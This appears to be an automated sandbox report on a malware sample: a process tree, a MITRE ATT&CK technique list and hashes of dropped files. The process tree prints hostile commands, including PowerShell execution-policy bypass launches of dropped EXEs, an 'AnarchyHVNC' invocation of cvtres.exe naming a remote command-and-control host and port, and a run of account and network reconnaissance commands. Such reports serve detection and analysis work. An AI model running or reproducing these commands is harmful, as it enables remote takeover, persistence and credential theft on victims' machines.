C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid3⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jbxkhv.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jbxkhv.exe"'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Users\Admin\AppData\Local\Temp\jbxkhv.exe"C:\Users\Admin\AppData\Local\Temp\jbxkhv.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"5⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4780
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" AnarchyHVNC get-rick.gl.at.ply.gg 1336 vIYzG05⤵
- System Location Discovery: System Language Discovery
PID:4360
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tdzrkh.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tdzrkh.exe"'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Users\Admin\AppData\Local\Temp\tdzrkh.exe"C:\Users\Admin\AppData\Local\Temp\tdzrkh.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"5⤵
- Modifies registry class
PID:4344
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" AnarchyHVNC get-rick.gl.at.ply.gg 1504 QD6oej5⤵
- System Location Discovery: System Language Discovery
PID:1448
-
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd"2⤵PID:1100
-
-
C:\Users\Admin\Desktop\DECRYPT.exe"C:\Users\Admin\Desktop\DECRYPT.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5516
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe"2⤵PID:5524
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3288
-
-
C:\Windows\system32\HOSTNAME.EXEhostname3⤵PID:2312
-
-
C:\Windows\system32\net.exenet user3⤵PID:5832
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5860
-
-
-
C:\Windows\system32\net.exenet localgroup3⤵PID:5636
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup4⤵PID:5808
-
-
-
C:\Windows\system32\net.exenet localgroup administrators3⤵PID:440
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators4⤵PID:4544
-
-
-
C:\Windows\system32\net.exenet user guest3⤵PID:3464
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user guest4⤵PID:5016
-
-
-
C:\Windows\system32\net.exenet user administrator3⤵PID:3296
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user administrator4⤵PID:2628
-
-
-
C:\Windows\system32\tasklist.exetasklist /svc3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3588
-
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2632
-
-
C:\Windows\system32\ROUTE.EXEroute print3⤵PID:2496
-
-
C:\Windows\system32\ARP.EXEarp -a3⤵
- Network Service Discovery
PID:1428
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:4536
-
-
C:\Windows\system32\ipconfig.exeipconfig /displaydns3⤵
- Gathers network information
PID:5788
-
-
C:\Windows\system32\sc.exesc query type= service state= all3⤵
- Launches sc.exe
PID:3916
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1116
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2052
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2200
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1596
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Modify Registry
5Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Network Service Discovery
1Peripheral Device Discovery
2Permission Groups Discovery
1Local Groups
1Process Discovery
1Query Registry
4System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Wi-Fi Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png
Filesize50KB
MD502a517192b6894b7d1ba415840d95508
SHA1abc837a5f0ff225dbb7c247af86500f76797e4b9
SHA2568dc5f4b3e291d5920d82d24b7bb1a6971079772944024b6e214f06ad7d06dc0d
SHA5120b1bfea6a0b79a51726862ccbae9417a883d9969a413398f7317a8a7dbd2895d0c548dcfd2439a6f3f3993e00ee94013621ce35351c168e9da216ff2ecf8df39
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\selection-actions.png
Filesize1KB
MD53738e0da4b680e77162137098785e849
SHA12435e939d307afb3e363e802ac4b544b9eb9ac51
SHA256298cc016e194be31c438f46daeb1fb66112baa5ae3a38e33a29d6b2afa5f8434
SHA512216187a14203e6cb23ca486599b5bfb69dab3393a723e50fdb320e26942886a29120f1e5dcf0db85c2c828be9771452fc0e212b8b2427a13f61e6aacbdb75ba2
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\selection-actions2x.png
Filesize3KB
MD5c9ffd8d3d5ea4eb39596d99b337090ec
SHA11f6a0f2a7abc1aff86ee2a3e0b659b335be41cb2
SHA256d1a46ed93aafaf79e971ffd2da47e8b15b63103a20e05dfec222955ab5c58c0f
SHA512ccb33beb80f8d33e3d84078006f2b429fc8b1e5a8498ed1e646ba0337449d609c12f22cbbf5ded8f3d69e6b38af5d32efca4e71b886c58f012e01f491c596b35
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png
Filesize688B
MD54089ee5822ad1b007c39f173ca92027d
SHA18ba447cc8ce99e8d1150e282163128ebdb0d9887
SHA256c483eca83642e8b22976c1ebbe3eec9960c16b7b23c192c1a1b9a315567339e2
SHA512b02d036f69a3e357605b40b8522210110ba824bbbd0781cfd761efd7f3fc2cff68f88f4b12c007fc372ab595c0781ad76c703560fda795cf69b4f78036f76fbd
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png
Filesize1KB
MD5b4a5c54ad6d67b0c801956b8869885b0
SHA1a84d27ba99ec6f68764436b84d7d40fd94a4d1ba
SHA2568abcb24bdddb9b080ff9edbe5d9be14641794c2f21a685b7abb7f252d255cf41
SHA5123345909233f03561fa7c1e82a885778cba534e189faa0e8a59b499ae09df85bbaf70cbb8693729b9fc15770f8a8c211dfeb7fab61520a10412dc246544a5db4c
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
Filesize448B
MD595a8063b083ed5ab9de0a16bbfc91059
SHA1309d8088b585f5ec732875f3ad9a303f94eba537
SHA25631002497588178af280d198bcbdd8a2a28a6e141c0af13fa8ad76315d39bbc48
SHA5127a7a436a769ac8a9c16605a583b300345e07da9a3b7253f85922cdf2e8b97aa560aaa67c06eb4a7d04753a3303328019ca8ecd11cb09776f620ed68d2a3b765d
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
Filesize624B
MD5aef0708aca74712d9758b7d4606a4515
SHA1543356de86c5d09ea08b08e57f25f4f87b9463fd
SHA2561bcad890dab051e2cea6a45b26238eb230994f21432e356ab264be18926b594e
SHA51238b6194270fb9e485bdabd90d199bb43414ddcf546f77bd175cc5314ee06a4e145a8b8ad3f1f566daf684a34f7a3dcde8fef532c23a99fd86fce4e9c25811477
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png
Filesize400B
MD5ef60a0d78e846c006829e35a2d6b8dfe
SHA14aebe474913e6d73937416af8ccf76551fa91efa
SHA25603e04bd5c7d62a838de1c81a6d46b40389ce55131fab80a1c0aa72be95c90ec2
SHA512707282528be8c02588c0a39938bd86ab490dacc6f221099eb9cae038c6cfe11d45bfda261afb2ff9b6ff13ee3fd016cfecc7912648a26898244d7dfbecf3a240
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
Filesize560B
MD585e1b7ba2a26e0731dd828872318c1da
SHA1896bc9a5799e68b64a15752cd36b7c5ee7e2bda1
SHA2565debf5675544b6de9704764f0516b35019ac421cbeebb8d5f9152b5c6169f3e3
SHA512edb45978154ee9db071a26f1b83131d5b0a6b176f9675d40cd1d0b2052dcffe8274dff13f9f3a16c76181a6a55ab416dded4ffed760e3b8bef935112cdc5d121
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png
Filesize400B
MD50dbca28a5810522b6ce98c08cecb466c
SHA19bda434cf6a1c3e5a11217b36650e912917b747c
SHA25621ac41387e61aaeb1e0cc600a2253c3a58042e1c72c4899f601ad1b81e37ee64
SHA512e98ee32fc73738901af248fbba301aad2b67df9ff2a1bc1baba62ca3f5b6c23f0e73844c3f3cf3237fe34fa6c8073e331eb27e73f6a8f30b224e350db9085b4b
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png
Filesize560B
MD5ed4f30a6180b2b1e60824764c01f7161
SHA1893bc9e71f481df196f5716edab213ab334f7f28
SHA2563b16cc1cf010a93e07390d69c5574b45fe7b631a03b56c9c752055ccddacfeac
SHA5123283c4ad481d5aaa630adea12978fd19e297b0c535afcb5930ded977ee4f25aa68fdc49dfac873529c12969eef2709d2690d44cd556e7c46e5311bed5a3b1696
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png
Filesize400B
MD52502f0d6c993214c09ca705b949f1bb7
SHA1cef6d7b552838bb3ffbd4ca404571cc341de6199
SHA256488c2fb7508bae68e1d1699888a23b6b7aed9611246173532f376ed30242faa0
SHA512b1c07b9a5112617920e0359d65645f8462c3a2bf4888dd5ca43cb3f2593999930c3920439c8bc1799b4fa4b3d0fe524969292b536182659b18488685b690158b
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png
Filesize560B
MD5c472980b69e3ceb6ba344ea4158baba6
SHA149a9120e68803275d74159e53c18f37de1e4cf74
SHA256e1793fda9cc97e4353b2361c29baa18bd7c1d65620291092b152a955cb849eb8
SHA5124118ec30ae90e590f03ff209d2676722dc9c36bef5671214b252050d97d55d7b67402e441a20fa068835152f45ef70a12115b16486a9a6c612ad266dfea40c27
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png
Filesize7KB
MD5658754af04c2549926ddb1323aa3e1a1
SHA127b1d436f3d50fa49a939308bac196f2575f09c0
SHA2563faa3d05509c361998be74a6c3b7cfe88093ca585e3fc3269e919504e35f554a
SHA5128da14436d833d966fa78cd152fc7c986153182e1e49ae8938f6d601e80639e02bc74da500a6cafcb11328ba3b528474b2458f92dacec1b8ce63771c2ee2fa10b
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif
Filesize7KB
MD5cf0ff948842279f7498fe6eeca640dbf
SHA1659acaac79920a990c78b2b2470e42c993363c5c
SHA2560cb77e418a71a240cbef79cee6293de13dcae5e4a7b7225e1dd3b830963ee36d
SHA5121dacdde17490be43e3fa1be25777cfa5c2f28ccd8ef388110ea8fec45228cf74c2cf33606ad85d80e61294356adb7938eb199e64e39d0518ca7ffeb0c32da20e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_retina.png
Filesize15KB
MD5262be65bd3532f9d201d0b3dc9264d69
SHA1c633bfda10869036a978e01202789c071d849f2b
SHA256ac5e920c06192a58ee894045d0b6cf3f85c0b7795c02e1d40c4d537ad6a30ddd
SHA512d805feee70ef42a9f8ca4ac9edc9cc09315668a3891780e0805c733923d68bf2088c7a7932be29f6cdbf26b64b7d75fd9bc8961bfa2209464755829362012ced
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png
Filesize8KB
MD5d58770a9aaeb5a14c6ad57dbecdd9d85
SHA13015c9827d9035f9d085f1a77a2523830dacbf3f
SHA2563aabd8a119ed9513c67891a6750d3d8cd58e4e6a8602b09a56edf92fa226e69b
SHA512f714966be2991bceb2bdf4a1540e3c77e0c522eca9b9a6677d34464e80317455adb646bb3c430c7ef65260582bf683a800216382e21d9c2ddbaaf2f26b346132
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png
Filesize17KB
MD59235fbbfd200eda106b7659dfdbb6c86
SHA1f70581cdabf5dc1f657e6a7762da2d8db113f5e7
SHA256bedf942bd3a430da4a999c4d2e7026644315edd972f78c088191804e962ff090
SHA5124527c79e5f0a5ebe5b0fcfd46a99571397085c693237e397fbe6dc458e61dd0fdbd9b36c7a7be116f196b96b9ada699030416ffbf75676ebd13ad695f0ef8af1
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png
Filesize192B
MD592306c308344888e1aec0533cda084ef
SHA15173461e0e34f09b73716ed2558e127e3446a9ba
SHA256fc8b383ef7e68d4d871e10df0d2b043979dbe9488af7173d1323499beda1d007
SHA512e3eccd13c447ee0c550af23dafc23680c144d98d5ba1a58e137e3dd0cf85a4e2e5bb9bd41ca1d323ad5aa5a16196b9973d94df551003329f2a8716959d739096
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png
Filesize704B
MD52d4601c6952d7a71e93347095ffea5d6
SHA1a9d66ddfeabb3fd932bab12c89385de09b8274a7
SHA256ade292503b0420bccc76e842f547038b6daa0e61b97dbdab1ddb60c57c69f155
SHA5126da87164830c4713eea697a972decf29fa88ec2916a7eb46a8c6490b6ec9fa0c01000c8aed87e519a95527530a2b264d6d0cf49520f2b4992a2f92c96c23713f
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png
Filesize8KB
MD568b56b4d216da5c80d0c336e239679b6
SHA1b71f8b535170a3457ae80f94c949349e2320aa2e
SHA256af5b5f9de68f80f296e7dbafc5eaaee0502f89a85ec47887f6f30a763c723522
SHA51259ae66c13883fecb18141bc1abe69f8a162a4731819e2dbb02c5393583bce885f297c6f17f10da4456f924eeb3c729cb5b657337340e6a55bf40fca0ccdc1ad7
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png
Filesize19KB
MD5de7995b4f9250f311279d7d03b061d72
SHA1d87e37eccadf264fd354a98e86ab5a30b76ec4a6
SHA256b2f61e47ebe993d8d4e4049cd50a506735f7dc298983f80957199eaf97a40149
SHA512f363fe7a9ef3930aa9d6d00285b5bbfb5dd2c5fa11016ecfab40e9e4c9fb57318ec2d0b5aad53832c006aca24917cbb18571ab650644219a437aad1ac504940e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif
Filesize19KB
MD533f405f90ce4e4c1aab73608d77dfa1a
SHA10233e5221123d1ec098be8c64e27c12c4d89b820
SHA256e50e4f14c471ad829668a44fffa6c49186551bf0f69d95b0b17a7d9080f66887
SHA5128da2c415c7164c5ccdbdf1f970c97651938751e1a707a22bde777755f41c5b6db76ea658fa1f7aa1b90d58e73dd50ee6da79b480ddb2d03c9b5b3bc41539662d
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\faf_icons.png
Filesize6KB
MD5896fdb4577ab1a231597213e561d9a6c
SHA102cd482c907eaf431a841f96ef2f5e6a2a987abc
SHA256518c6bee814855ca9a0bd5ab720e2ee1631b7e6124110560f99f667015f26175
SHA5128ec46164ee3b5172255f27d60918277e4aa69fb7e40274bff884b1232a0d80c45ea8c97dba81963b8b8e708ac9acd196128ef51015f3aa7ddddbe40289cf370b
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\bun.png
Filesize2KB
MD5d3cdfd45f9446446dc1ecaa51e11c30b
SHA14cfc59dd3448bb518d00109f6d15a4cec88fdb8c
SHA256e2a0c50236094a6e70722a1f448cf2b2912a25e6b86fe4115e30561cc0d384ea
SHA512fb48c64106bf185334b7360941b41baf031333d69bb4eb1fd57a696d0844655ddb3a79761dfeddc658637375fb3f9228a9d45e5df7ca2c129739f99344c82aac
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview.png
Filesize2KB
MD543fe21f2319cccd3bd13fb0a3752de90
SHA1e3730a2c89ac0117a27636936ff1f73a9a6fed23
SHA25689c923d3670181decca96b12f9726af5c383bf347aa67f8bdca3006eee071281
SHA51279befc855c436b6b6f5a3aef59951d680b31322f36de693f32ddbc2ac6f2090625adecd2c47b2b3228d001293916d5ba2ff9e46c549cc96ca78c9410b523d3da
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\cstm_brand_preview2x.png
Filesize4KB
MD5ad3b818e8152d0e07c86ecdc91041c6f
SHA181c138dee5d2e425b321297a91b9c4d204eb5c33
SHA256905c1d2b061503c7d764ce640068a0219c188ed6c2d951c70f1f50a306c05653
SHA5127ad494dbb68b3848e0381dba0a3b25270888e85ee78c9d43271d2e0f2d4aefed6a0ca6e1deada454b19e02cde57e2e31499fc08a4fed3046ef27bf1fffa8cb3a
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\dd_arrow_small.png
Filesize304B
MD5653c3fd9ed2b45c48e30912017092f23
SHA14a959148a48a84e8d182267da442efcf590e8b08
SHA256bb6e2f38f7f90c517a536a822f35c950d5e0c0b5c879e0df1ce178357653a931
SHA512ac07e688f9798b1f71aedacf4613e93daf8fbe0fa7f7c5f43274ac258d12fa7c510f32fd25dd67a35ddf68561a9caf8a97df0b1ab155d260b2124c7bbb18e7d5
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\dd_arrow_small2x.png
Filesize400B
MD55ee3cb87f2cbda33758d9a0ed11bd239
SHA18a3009c4a729c5247a3c5db468977cfc3ee2cd56
SHA256c30dfc58ada3856878c34079e2ddfddf397b489e1ebff8383d5341fc4947a1d3
SHA5120058392786187d232b06586eb663fb1c604900b9857248c256b9a3c727f906392d6aa919608cfee370df4874440fefecd4a94bc51b2229d4d3891e0c68fe08b4
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\illustrations.png
Filesize4KB
MD51062daaafe4ccc88b166e7987a091f24
SHA18654a3dd27d7a36285ec424f91ba22a800298fc5
SHA25690f1126aa3bc301b754003df403b7e52c226abdf01298e17cddf7333fb12054a
SHA51273e6bfe8214784983ee74e651a840b8bc653e7db51493c05016f8c9c1b8f0c988b8818638fee68d2a785670c5f72db88857ef29f691de6c5617c6bb561268e50
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\nub.png
Filesize1008B
MD59f81f4dcd7569563f33a92d4c3b6e20b
SHA1648b16f5d3e14e9f892bef28eaf8f1809b85fcc8
SHA25632fb73f241d392c900650ff791ced6960c0db809947f35f81c72e2c46197933a
SHA51228e17913e0b22fae833fae6276942e9cd919492e6e81dd6ac295101d5f74b8037d3afbac2784b49b8db60d841b6ba4178adcc6fe5971b78ec5552d9332c96642
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\share_icons.png
Filesize1KB
MD59646f5152d5c181871185dc660f02178
SHA13fea95586eaa5f763aafbe34fae9c692c0aeb5af
SHA256519b91aa73f6bd8347e0c9ea4a151ffa55178a1061da135b4d7aba1feafd127b
SHA512baafd9ebd2f6035a2bdfd02a34ae24605ad072afddb89d1e2b9f4625836a3e4d291edbc265cfc62ee473f0d54758d79e3851d850906cc19804ec9212c927ca5d
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\share_icons2x.png
Filesize2KB
MD54c14de2e625e0456f645d46edf7d3cc6
SHA1e3b466e37251dcf3662aebae3473a49aecf1ae16
SHA256d0db537978d5010e07243483dccfe823c126859b67592bfe090cba39b0a060e7
SHA512a79e9a5e64c24decd20a5df9ae15be18aacf51025bd9d13ece7bfd345f0f26dab8a99728f436da1cf0613d99c367f1521ef2d8919151c0074e95799e262fe038
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adc_logo.png
Filesize3KB
MD5a2e318fac214edb9247b07f0a287d6bd
SHA17d31242f06662d741c20ae0bc03bffa7afcde42f
SHA25673ec265f51f615a8d89b5873179d1aa76cfdc5c36846b7267f292fba6da76656
SHA512f9270f4f5bebd8383a7d384a8a904fc36ebcdd9f37ff85acd3881255aee889dd8b473dead41e03f56012bd6fe88dd462379d94c72e8626643a91e4ec65b31818
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif
Filesize560B
MD574c3d7937c7deb536d47a432ecbe3680
SHA1a2fe14553c16ddcf00aa11eb4d319d85ac854ebf
SHA2561288208097a668e54d1b080dff8524f4c5483d552113595801c06463c14d7532
SHA5120b3ed10f0ff26499c14529d60be928951b533418911d72eac1097712109f9508b1f45e7f8ab3129ffc0983fe8187706f7d694ab7d719a8c5fd52e882920cc191
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\logo_retina.png
Filesize6KB
MD5a619410003867f37fbf31bec3d8495ea
SHA1a37b0cbdc71ba2893c8a393a1e66bd15784dcd67
SHA256ac2abd61123c4b9531a2cd3a910bb1badb7a4874d46a94426e8caede873c9299
SHA51295f6c6d073957cbc3d760ebfa6357f516e67b942ca280216c96ffa779f9327e9ba42d42f8c69f41688012db526e58cbe288a0cadf438b626e7838cfb8527d81e
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo.png
Filesize832B
MD54b4a0633e94e0c2244dd7549777e8470
SHA10cf918a4ce40901feed06ae6d945b6f923e8c285
SHA256e0eeb5207a3100194494a45a879e45a6039fbf2763257e3fbec7fd6303a3746e
SHA512ce2c1a596883a1c07de2fc1da5be7c1f4ed11e6cdc98d570c9d0f48682a0970b9f6af0e3040e9635adb57f14b3e56970efd1b78414f5f225ac86d24b3becfe02
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo_2x.png
Filesize1KB
MD5e58df375c0485e575f8679e578e2a269
SHA1d470e3f8ef99086061f5495b7178453eaa3cfe29
SHA2569a40330dfcda226a49419e4a1166e5aa3270fe41c885e93602773b8e34697954
SHA51272f526aeaf4c532c4f35a988d8ce010743f6532ae0ab86f8bf74368981e5f19d7b67285a85aa441eaa736f58f8e73408c0991cbab334db5c5a43789ee41ea245
-
C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
Filesize32KB
MD5a31e1026b7a8dba6f085212c5a815eff
SHA1ac67105783b6d3fc31ad48ff9c95bdbf6cdea02b
SHA2560e4722d5e6b9a330b901aa9c2fb089c0f2dc58976847f217038717ba76130602
SHA512f26c7c68deaaad8ba666d2c0c8dd31c4b7024c6677739cb830f744896a16db06778fc0ab2e9960f85e2f530adf66c0c108fd8bb8875d550ee87dc957a876d898
-
Filesize
16B
MD51d214678a209ff5fbc5b8bd676a9435c
SHA1ebc95ec9754a1a370715d46a4a97ff3f0cb09f62
SHA256018642074002e2cab964c7b2142ae0c374a2a0681ad3c4476b3d9aaf9bb80b93
SHA51235c80ff147d10db50afe93ee2c2af37cad37aafafaa30d0059e0ee95b81921ebfb3547115a68f9dc03f9de2df58d47c70d09daa9840387530546e7124edd6475
-
C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\AdSelectionAttestationsPreloaded\ad-selection-attestations.dat
Filesize64B
MD50eb6d7d85f034a4b41069892f7a4db73
SHA11308756e4916b59e8aa40566dcd0c5e5fd980836
SHA25633412a07b9c3b6dff9cd8318229e5476490510db29c5979f219ccbf1b38723a7
SHA512cfe07226cf2f51f733ce51ee0b2f69d32cb2a5a22b2f283511bef1ec11c72c1c27538aed54c487d6952cbdfd2e1e59d33a4277dba2241a1db39fe545be4ba3d8
-
Filesize
12KB
MD531dedb32a742a5a488a04beaf6dbf45e
SHA1544b090ff7e6cac716c7e9a614521cea3a8ee226
SHA2562376fa989a4e11464d444fde2fd84957af28c4f32dc2c219dceef2e7be9affbe
SHA5122327932ce03a09f188a5174eb6ee30ee36582b8e54b162c0022593047169d62a39c42401e300b1294c1462fa3ad27b4bbb95afaf093d84d6e4dd9252b84013ed
-
Filesize
8KB
MD5658c353f8db7dc1d0ca72107df694443
SHA12dccb852f8e1c59b6f0365d7d892661d09411a9d
SHA2566ce775e76bc4c6bee4efc6d570913b3194c0221d13bf1fa3f2a3a91815428a9e
SHA5120f5bf14972a73ba8cf57c51cbabade01a699d3452f48cd3ed91f646f7d568d06e09c484c80ce6742ba892900116fc98d71f3d1df410569d0255bcbe2083e04c5
-
Filesize
24KB
MD5da54bfa3c1da8652ffc2151772182c00
SHA192f63255214f5c7ddaee69006d83678586862354
SHA256372300e3c4e3c7edadd477212186b0e05a48a1ed71b68da528fe23f53dd8ca2d
